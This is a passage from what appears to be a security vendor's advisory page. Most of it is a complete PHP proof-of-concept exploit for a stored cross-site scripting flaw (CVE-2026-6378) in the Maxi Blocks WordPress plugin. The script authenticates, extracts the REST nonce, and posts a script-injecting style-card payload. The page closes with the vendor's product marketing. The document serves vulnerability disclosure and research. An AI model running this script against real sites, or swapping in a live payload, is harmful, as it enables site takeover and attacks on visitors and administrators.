    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the REST API nonce by fetching the admin dashboard
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from response (simple regex, may need adjustment)
preg_match('/"rest_nonce":"([^"]+)"/i', $response, $matches);
if (isset($matches[1])) {
    $rest_nonce = $matches[1];
} else {
    // Fallback: try to extract from a known pattern
    preg_match('/wp-api-fetch-nonce" content="([^"]+)"/i', $response, $matches);
    if (isset($matches[1])) {
        $rest_nonce = $matches[1];
    } else {
        echo "Failed to extract REST nonce.n";
        exit(1);
    }
}

// Step 3: Send the malicious style card via REST API
$endpoint_url = $target_url . '/wp-json/maxi-blocks/v1.0/style-card';

// Payload: JavaScript that will execute when the style card styles are loaded
$malicious_payload = '</style><script>alert("XSS by Atomic Edge Research - CVE-2026-6378");</script><style>';

$post_data = array(
    'sc_variables' => '{}',
    'sc_styles' => $malicious_payload
);

$headers = array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce,
    'Cookie: ' . file_get_contents('/tmp/cookies.txt')
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Payload sent successfully.n";
    echo "[+] The stored XSS will execute on any page loading Maxi Blocks style card styles.n";
    echo "[+] Visit an admin page or frontend page that uses the style card to trigger.n";
} else {
    echo "[-] Request failed with HTTP code: " . $http_code . "n";
    echo "[-] Response: " . $response . "n";
}

// Clean up cookie file
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School